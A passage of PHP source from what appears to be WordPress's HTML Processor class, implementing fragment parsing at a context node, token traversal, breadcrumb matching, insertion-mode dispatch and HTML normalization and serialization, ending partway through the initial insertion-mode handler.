	 * These examples demonstrate how important the context node may be when processing an HTML
	 * fragment. Special care must be taken when processing fragments that are expected to appear
	 * in specific contexts. SVG and TABLE are good examples, but there are others.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#html-fragment-parsing-algorithm
	 *
	 * @since 6.8.0
	 *
	 * @param string $html Input HTML fragment to process.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	private function create_fragment_at_current_node( string $html ) {
		if ( $this->get_token_type() !== '#tag' || $this->is_tag_closer() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The context element must be a start tag.' ),
				'6.8.0'
			);
			return null;
		}

		$tag_name  = $this->current_element->token->node_name;
		$namespace = $this->current_element->token->namespace;

		if ( 'html' === $namespace && self::is_void( $tag_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like INPUT or BR.
					__( 'The context element cannot be a void element, found "%s".' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		/*
		 * Prevent creating fragments at nodes that require a special tokenizer state.
		 * This is unsupported by the HTML Processor.
		 */
		if (
			'html' === $namespace &&
			in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', 'PLAINTEXT' ), true )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like IFRAME or TEXTAREA.
					__( 'The context element "%s" is not supported.' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		$fragment_processor = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );

		$fragment_processor->compat_mode = $this->compat_mode;

		// @todo Create "fake" bookmarks for non-existent but implied nodes.
		$fragment_processor->bookmarks['root-node'] = new WP_HTML_Span( 0, 0 );
		$root_node                                  = new WP_HTML_Token(
			'root-node',
			'HTML',
			false
		);
		$fragment_processor->state->stack_of_open_elements->push( $root_node );

		$fragment_processor->bookmarks['context-node']   = new WP_HTML_Span( 0, 0 );
		$fragment_processor->context_node                = clone $this->current_element->token;
		$fragment_processor->context_node->bookmark_name = 'context-node';
		$fragment_processor->context_node->on_destroy    = null;

		$fragment_processor->breadcrumbs = array( 'HTML', $fragment_processor->context_node->node_name );

		if ( 'TEMPLATE' === $fragment_processor->context_node->node_name ) {
			$fragment_processor->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
		}

		$fragment_processor->reset_insertion_mode_appropriately();

		/*
		 * > Set the parser's form element pointer to the nearest node to the context element that
		 * > is a form element (going straight up the ancestor chain, and including the element
		 * > itself, if it is a form element), if any. (If there is no such form element, the
		 * > form element pointer keeps its initial value, null.)
		 */
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			if ( 'FORM' === $element->node_name && 'html' === $element->namespace ) {
				$fragment_processor->state->form_element                = clone $element;
				$fragment_processor->state->form_element->bookmark_name = null;
				$fragment_processor->state->form_element->on_destroy    = null;
				break;
			}
		}

		$fragment_processor->state->encoding_confidence = 'irrelevant';

		/*
		 * Update the parsing namespace near the end of the process.
		 * This is important so that any push/pop from the stack of open
		 * elements does not change the parsing namespace.
		 */
		$fragment_processor->change_parsing_namespace(
			$this->current_element->token->integration_node_type ? 'html' : $namespace
		);

		return $fragment_processor;
	}

	/**
	 * Stops the parser and terminates its execution when encountering unsupported markup.
	 *
	 * @throws WP_HTML_Unsupported_Exception Halts execution of the parser.
	 *
	 * @since 6.7.0
	 *
	 * @param string $message Explains support is missing in order to parse the current node.
	 */
	private function bail( string $message ) {
		$here  = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$token = substr( $this->html, $here->start, $here->length );

		$open_elements = array();
		foreach ( $this->state->stack_of_open_elements->stack as $item ) {
			$open_elements[] = $item->node_name;
		}

		$active_formats = array();
		foreach ( $this->state->active_formatting_elements->walk_down() as $item ) {
			$active_formats[] = $item->node_name;
		}

		$this->last_error = self::ERROR_UNSUPPORTED;

		$this->unsupported_exception = new WP_HTML_Unsupported_Exception(
			$message,
			$this->state->current_token->node_name,
			$here->start,
			$token,
			$open_elements,
			$active_formats
		);

		throw $this->unsupported_exception;
	}

	/**
	 * Returns the last error, if any.
	 *
	 * Various situations lead to parsing failure but this class will
	 * return `false` in all those cases. To determine why something
	 * failed it's possible to request the last error. This can be
	 * helpful to know to distinguish whether a given tag couldn't
	 * be found or if content in the document caused the processor
	 * to give up and abort processing.
	 *
	 * Example
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<template><strong><button><em><p><em>' );
	 *     false === $processor->next_tag();
	 *     WP_HTML_Processor::ERROR_UNSUPPORTED === $processor->get_last_error();
	 *
	 * @since 6.4.0
	 *
	 * @see self::ERROR_UNSUPPORTED
	 * @see self::ERROR_EXCEEDED_MAX_BOOKMARKS
	 *
	 * @return string|null The last error, if one exists, otherwise null.
	 */
	public function get_last_error(): ?string {
		return $this->last_error;
	}

	/**
	 * Returns context for why the parser aborted due to unsupported HTML, if it did.
	 *
	 * This is meant for debugging purposes, not for production use.
	 *
	 * @since 6.7.0
	 *
	 * @see self::$unsupported_exception
	 *
	 * @return WP_HTML_Unsupported_Exception|null
	 */
	public function get_unsupported_exception() {
		return $this->unsupported_exception;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @todo Support matching the class name and tag name.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Visits all tokens, including virtual ones.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type string      $tag_closers  'visit' to pause at tag closers, 'skip' or unset to only visit openers.
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string[]    $breadcrumbs  DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                                     May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$visit_closers = isset( $query['tag_closers'] ) && 'visit' === $query['tag_closers'];

		if ( null === $query ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		if ( is_string( $query ) ) {
			$query = array( 'breadcrumbs' => array( $query ) );
		}

		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Please pass a query array to this function.' ),
				'6.4.0'
			);
			return false;
		}

		if ( isset( $query['tag_name'] ) ) {
			$query['tag_name'] = strtoupper( $query['tag_name'] );
		}

		$needs_class = ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) )
			? $query['class_name']
			: null;

		if ( ! ( array_key_exists( 'breadcrumbs', $query ) && is_array( $query['breadcrumbs'] ) ) ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( isset( $query['tag_name'] ) && $query['tag_name'] !== $this->get_token_name() ) {
					continue;
				}

				if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		$breadcrumbs  = $query['breadcrumbs'];
		$match_offset = isset( $query['match_offset'] ) ? (int) $query['match_offset'] : 1;

		while ( $match_offset > 0 && $this->next_token() ) {
			if ( '#tag' !== $this->get_token_type() || $this->is_tag_closer() ) {
				continue;
			}

			if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
				continue;
			}

			if ( $this->matches_breadcrumbs( $breadcrumbs ) && 0 === --$match_offset ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * @since 6.5.0 Added for internal support; do not use.
	 * @since 6.7.2 Refactored so subclasses may extend.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->next_visitable_token();
	}

	/**
	 * Ensures internal accounting is maintained for HTML semantic rules while
	 * the underlying Tag Processor class is seeking to a bookmark.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * Note that this method may call itself recursively. This is why it is not
	 * implemented as {@see WP_HTML_Processor::next_token()}, which instead calls
	 * this method similarly to how {@see WP_HTML_Tag_Processor::next_token()}
	 * calls the {@see WP_HTML_Tag_Processor::base_class_next_token()} method.
	 *
	 * @since 6.7.2 Added for internal support.
	 *
	 * @access private
	 *
	 * @return bool
	 */
	private function next_visitable_token(): bool {
		$this->current_element = null;

		if ( isset( $this->last_error ) ) {
			return false;
		}

		/*
		 * Prime the events if there are none.
		 *
		 * @todo In some cases, probably related to the adoption agency
		 *       algorithm, this call to step() doesn't create any new
		 *       events. Calling it again creates them. Figure out why
		 *       this is and if it's inherent or if it's a bug. Looping
		 *       until there are events or until there are no more
		 *       tokens works in the meantime and isn't obviously wrong.
		 */
		if ( empty( $this->element_queue ) && $this->step() ) {
			return $this->next_visitable_token();
		}

		// Process the next event on the queue.
		$this->current_element = array_shift( $this->element_queue );
		if ( ! isset( $this->current_element ) ) {
			// There are no tokens left, so close all remaining open elements.
			while ( $this->state->stack_of_open_elements->pop() ) {
				continue;
			}

			return empty( $this->element_queue ) ? false : $this->next_visitable_token();
		}

		$is_pop = WP_HTML_Stack_Event::POP === $this->current_element->operation;

		/*
		 * The root node only exists in the fragment parser, and closing it
		 * indicates that the parse is complete. Stop before popping it from
		 * the breadcrumbs.
		 */
		if ( 'root-node' === $this->current_element->token->bookmark_name ) {
			return $this->next_visitable_token();
		}

		// Adjust the breadcrumbs for this event.
		if ( $is_pop ) {
			array_pop( $this->breadcrumbs );
		} else {
			$this->breadcrumbs[] = $this->current_element->token->node_name;
		}

		// Avoid sending close events for elements which don't expect a closing.
		if ( $is_pop && ! $this->expects_closer( $this->current_element->token ) ) {
			return $this->next_visitable_token();
		}

		return true;
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return $this->is_virtual()
			? ( WP_HTML_Stack_Event::POP === $this->current_element->operation && '#tag' === $this->get_token_type() )
			: parent::is_tag_closer();
	}

	/**
	 * Indicates if the currently-matched token is virtual, created by a stack operation
	 * while processing HTML, rather than a token found in the HTML text itself.
	 *
	 * @since 6.6.0
	 *
	 * @return bool Whether the current token is virtual.
	 */
	private function is_virtual(): bool {
		return (
			isset( $this->current_element->provenance ) &&
			'virtual' === $this->current_element->provenance
		);
	}

	/**
	 * Indicates if the currently-matched tag matches the given breadcrumbs.
	 *
	 * A "*" represents a single tag wildcard, where any tag matches, but not no tags.
	 *
	 * At some point this function _may_ support a `**` syntax for matching any number
	 * of unspecified tags in the breadcrumb stack. This has been intentionally left
	 * out, however, to keep this function simple and to avoid introducing backtracking,
	 * which could open up surprising performance breakdowns.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><span><figure><img></figure></span></div>' );
	 *     $processor->next_tag( 'img' );
	 *     true  === $processor->matches_breadcrumbs( array( 'figure', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', 'figure', 'img' ) );
	 *     false === $processor->matches_breadcrumbs( array( 'span', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', '*', 'img' ) );
	 *
	 * @since 6.4.0
	 *
	 * @param string[] $breadcrumbs DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                              May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * @return bool Whether the currently-matched tag is found at the given nested structure.
	 */
	public function matches_breadcrumbs( $breadcrumbs ): bool {
		// Everything matches when there are zero constraints.
		if ( 0 === count( $breadcrumbs ) ) {
			return true;
		}

		// Start at the last crumb.
		$crumb = end( $breadcrumbs );

		if ( '*' !== $crumb && $this->get_tag() !== strtoupper( $crumb ) ) {
			return false;
		}

		for ( $i = count( $this->breadcrumbs ) - 1; $i >= 0; $i-- ) {
			$node  = $this->breadcrumbs[ $i ];
			$crumb = strtoupper( current( $breadcrumbs ) );

			if ( '*' !== $crumb && $node !== $crumb ) {
				return false;
			}

			if ( false === prev( $breadcrumbs ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Indicates if the currently-matched node expects a closing
	 * token, or if it will self-close on the next step.
	 *
	 * Most HTML elements expect a closer, such as a P element or
	 * a DIV element. Others, like an IMG element are void and don't
	 * have a closing tag. Special elements, such as SCRIPT and STYLE,
	 * are treated just like void tags. Text nodes and self-closing
	 * foreign content will also act just like a void tag, immediately
	 * closing as soon as the processor advances to the next token.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token|null $node Optional. Node to examine, if provided.
	 *                                 Default is to examine current node.
	 * @return bool|null Whether to expect a closer for the currently-matched node,
	 *                   or `null` if not matched on any token.
	 */
	public function expects_closer( ?WP_HTML_Token $node = null ): ?bool {
		$token_name = $node->node_name ?? $this->get_token_name();

		if ( ! isset( $token_name ) ) {
			return null;
		}

		$token_namespace        = $node->namespace ?? $this->get_namespace();
		$token_has_self_closing = $node->has_self_closing_flag ?? $this->has_self_closing_flag();

		return ! (
			// Comments, text nodes, and other atomic tokens.
			'#' === $token_name[0] ||
			// Doctype declarations.
			'html' === $token_name ||
			// Void elements.
			( 'html' === $token_namespace && self::is_void( $token_name ) ) ||
			// Special atomic elements.
			( 'html' === $token_namespace && in_array( $token_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) ||
			// Self-closing elements in foreign content.
			( 'html' !== $token_namespace && $token_has_self_closing )
		);
	}

	/**
	 * Steps through the HTML document and stop at the next tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @see self::PROCESS_NEXT_NODE
	 * @see self::REPROCESS_CURRENT_NODE
	 *
	 * @param string $node_to_process Whether to parse the next node or reprocess the current node.
	 * @return bool Whether a tag was matched.
	 */
	public function step( $node_to_process = self::PROCESS_NEXT_NODE ): bool {
		// Refuse to proceed if there was a previous error.
		if ( null !== $this->last_error ) {
			return false;
		}

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			/*
			 * Void elements still hop onto the stack of open elements even though
			 * there's no corresponding closing tag. This is important for managing
			 * stack-based operations such as "navigate to parent node" or checking
			 * on an element's breadcrumbs.
			 *
			 * When moving on to the next node, therefore, if the bottom-most element
			 * on the stack is a void element, it must be closed.
			 */
			$top_node = $this->state->stack_of_open_elements->current_node();
			if ( isset( $top_node ) && ! $this->expects_closer( $top_node ) ) {
				$this->state->stack_of_open_elements->pop();
			}
		}

		if ( self::PROCESS_NEXT_NODE === $node_to_process ) {
			parent::next_token();
			if ( WP_HTML_Tag_Processor::STATE_TEXT_NODE === $this->parser_state ) {
				parent::subdivide_text_appropriately();
			}
		}

		// Finish stepping when there are no more tokens in the document.
		if (
			WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			WP_HTML_Tag_Processor::STATE_COMPLETE === $this->parser_state
		) {
			return false;
		}

		$adjusted_current_node = $this->get_adjusted_current_node();
		$is_closer             = $this->is_tag_closer();
		$is_start_tag          = WP_HTML_Tag_Processor::STATE_MATCHED_TAG === $this->parser_state && ! $is_closer;
		$token_name            = $this->get_token_name();

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			$this->state->current_token = new WP_HTML_Token(
				$this->bookmark_token(),
				$token_name,
				$this->has_self_closing_flag(),
				$this->release_internal_bookmark_on_destruct
			);
		}

		$parse_in_current_insertion_mode = (
			0 === $this->state->stack_of_open_elements->count() ||
			'html' === $adjusted_current_node->namespace ||
			(
				'math' === $adjusted_current_node->integration_node_type &&
				(
					( $is_start_tag && ! in_array( $token_name, array( 'MGLYPH', 'MALIGNMARK' ), true ) ) ||
					'#text' === $token_name
				)
			) ||
			(
				'math' === $adjusted_current_node->namespace &&
				'ANNOTATION-XML' === $adjusted_current_node->node_name &&
				$is_start_tag && 'SVG' === $token_name
			) ||
			(
				'html' === $adjusted_current_node->integration_node_type &&
				( $is_start_tag || '#text' === $token_name )
			)
		);

		try {
			if ( ! $parse_in_current_insertion_mode ) {
				return $this->step_in_foreign_content();
			}

			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		} catch ( WP_HTML_Unsupported_Exception $e ) {
			/*
			 * Exceptions are used in this class to escape deep call stacks that
			 * otherwise might involve messier calling and return conventions.
			 */
			return false;
		}
	}

	/**
	 * Computes the HTML breadcrumbs for the currently-matched node, if matched.
	 *
	 * Breadcrumbs start at the outermost parent and descend toward the matched element.
	 * They always include the entire path from the root HTML node to the matched element.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<p><strong><em><img></em></strong></p>' );
	 *     $processor->next_tag( 'IMG' );
	 *     $processor->get_breadcrumbs() === array( 'HTML', 'BODY', 'P', 'STRONG', 'EM', 'IMG' );
	 *
	 * @since 6.4.0
	 *
	 * @return string[] Array of tag names representing path to matched node.
	 */
	public function get_breadcrumbs(): array {
		return $this->breadcrumbs;
	}

	/**
	 * Returns the nesting depth of the current location in the document.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><p></p></div>' );
	 *     // The processor starts in the BODY context, meaning it has depth from the start: HTML > BODY.
	 *     2 === $processor->get_current_depth();
	 *
	 *     // Opening the DIV element increases the depth.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 *     // Opening the P element increases the depth.
	 *     $processor->next_token();
	 *     4 === $processor->get_current_depth();
	 *
	 *     // The P element is closed during `next_token()` so the depth is decreased to reflect that.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 * @since 6.6.0
	 *
	 * @return int Nesting-depth of current location in the document.
	 */
	public function get_current_depth(): int {
		return count( $this->breadcrumbs );
	}

	/**
	 * Normalizes an HTML fragment by serializing it.
	 *
	 * This method assumes that the given HTML snippet is found in BODY context.
	 * For normalizing full documents or fragments found in other contexts, create
	 * a new processor using {@see WP_HTML_Processor::create_fragment} or
	 * {@see WP_HTML_Processor::create_full_parser} and call {@see WP_HTML_Processor::serialize}
	 * on the created instances.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     echo WP_HTML_Processor::normalize( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     echo WP_HTML_Processor::normalize( '<div></p>fun<table><td>cell</div>' );
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     echo WP_HTML_Processor::normalize( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @param string $html Input HTML to normalize.
	 *
	 * @return string|null Normalized output, or `null` if unable to normalize.
	 */
	public static function normalize( string $html ): ?string {
		return static::create_fragment( $html )->serialize();
	}

	/**
	 * Returns normalized HTML for a fragment by serializing it.
	 *
	 * This differs from {@see WP_HTML_Processor::normalize} in that it starts with
	 * a specific HTML Processor, which _must_ not have already started scanning;
	 * it must be in the initial ready state and will be in the completed state once
	 * serialization is complete.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     echo $processor->serialize();
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div></p>fun<table><td>cell</div>' );
	 *     echo $processor->serialize();
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     echo $processor->serialize();
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Normalized HTML markup represented by processor,
	 *                     or `null` if unable to generate serialization.
	 */
	public function serialize(): ?string {
		if ( WP_HTML_Tag_Processor::STATE_READY !== $this->parser_state ) {
			wp_trigger_error(
				__METHOD__,
				'An HTML Processor which has already started processing cannot serialize its contents. Serialize immediately after creating the instance.',
				E_USER_WARNING
			);
			return null;
		}

		$html = '';
		while ( $this->next_token() ) {
			$html .= $this->serialize_token();
		}

		if ( null !== $this->get_last_error() ) {
			wp_trigger_error(
				__METHOD__,
				"Cannot serialize HTML Processor with parsing error: {$this->get_last_error()}.",
				E_USER_WARNING
			);
			return null;
		}

		return $html;
	}

	/**
	 * Serializes the currently-matched token.
	 *
	 * This method produces a fully-normative HTML string for the currently-matched token,
	 * if able. If not matched at any token or if the token doesn't correspond to any HTML
	 * it will return an empty string (for example, presumptuous end tags are ignored).
	 *
	 * @see static::serialize()
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Converted from protected to public method.
	 *
	 * @return string Serialization of token, or empty string if no serialization exists.
	 */
	public function serialize_token(): string {
		$html       = '';
		$token_type = $this->get_token_type();

		switch ( $token_type ) {
			case '#doctype':
				$doctype = $this->get_doctype_info();
				if ( null === $doctype ) {
					break;
				}

				$html .= '<!DOCTYPE';

				if ( $doctype->name ) {
					$html .= " {$doctype->name}";
				}

				if ( null !== $doctype->public_identifier ) {
					$quote = str_contains( $doctype->public_identifier, '"' ) ? "'" : '"';
					$html .= " PUBLIC {$quote}{$doctype->public_identifier}{$quote}";
				}
				if ( null !== $doctype->system_identifier ) {
					if ( null === $doctype->public_identifier ) {
						$html .= ' SYSTEM';
					}
					$quote = str_contains( $doctype->system_identifier, '"' ) ? "'" : '"';
					$html .= " {$quote}{$doctype->system_identifier}{$quote}";
				}

				$html .= '>';
				break;

			case '#text':
				$html .= htmlspecialchars( $this->get_modifiable_text(), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
				break;

			// Unlike the `<>` which is interpreted as plaintext, this is ignored entirely.
			case '#presumptuous-tag':
				break;

			case '#funky-comment':
			case '#comment':
				$html .= "<!--{$this->get_full_comment_text()}-->";
				break;

			case '#cdata-section':
				$html .= "<![CDATA[{$this->get_modifiable_text()}]]>";
				break;
		}

		if ( '#tag' !== $token_type ) {
			return $html;
		}

		$tag_name       = str_replace( "\x00", "\u{FFFD}", $this->get_tag() );
		$in_html        = 'html' === $this->get_namespace();
		$qualified_name = $in_html ? strtolower( $tag_name ) : $this->get_qualified_tag_name();

		if ( $this->is_tag_closer() ) {
			$html .= "</{$qualified_name}>";
			return $html;
		}

		$attribute_names = $this->get_attribute_names_with_prefix( '' );
		if ( ! isset( $attribute_names ) ) {
			$html .= "<{$qualified_name}>";
			return $html;
		}

		$html .= "<{$qualified_name}";
		foreach ( $attribute_names as $attribute_name ) {
			$html .= " {$this->get_qualified_attribute_name( $attribute_name )}";
			$value = $this->get_attribute( $attribute_name );

			if ( is_string( $value ) ) {
				$html .= '="' . htmlspecialchars( $value, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5 ) . '"';
			}

			$html = str_replace( "\x00", "\u{FFFD}", $html );
		}

		if ( ! $in_html && $this->has_self_closing_flag() ) {
			$html .= ' /';
		}

		$html .= '>';

		// Flush out self-contained elements.
		if ( $in_html && in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) {
			$text = $this->get_modifiable_text();

			switch ( $tag_name ) {
				case 'IFRAME':
				case 'NOEMBED':
				case 'NOFRAMES':
					$text = '';
					break;

				case 'SCRIPT':
				case 'STYLE':
					break;

				default:
					$text = htmlspecialchars( $text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
			}

			$html .= "{$text}</{$qualified_name}>";
		}

		return $html;
	}

	/**
	 * Parses next element in the 'initial' insertion mode.
	 *
	 * This internal function performs the 'initial' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_initial(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto initial_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				$doctype = $this->get_doctype_info();
				if ( null !== $doctype && 'quirks' === $doctype->indicated_compatibility_mode ) {
					$this->compat_mode = WP_HTML_Tag_Processor::QUIRKS_MODE;
				}

				/*
				 * > Then, switch the insertion mode to "before html".
				 */
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
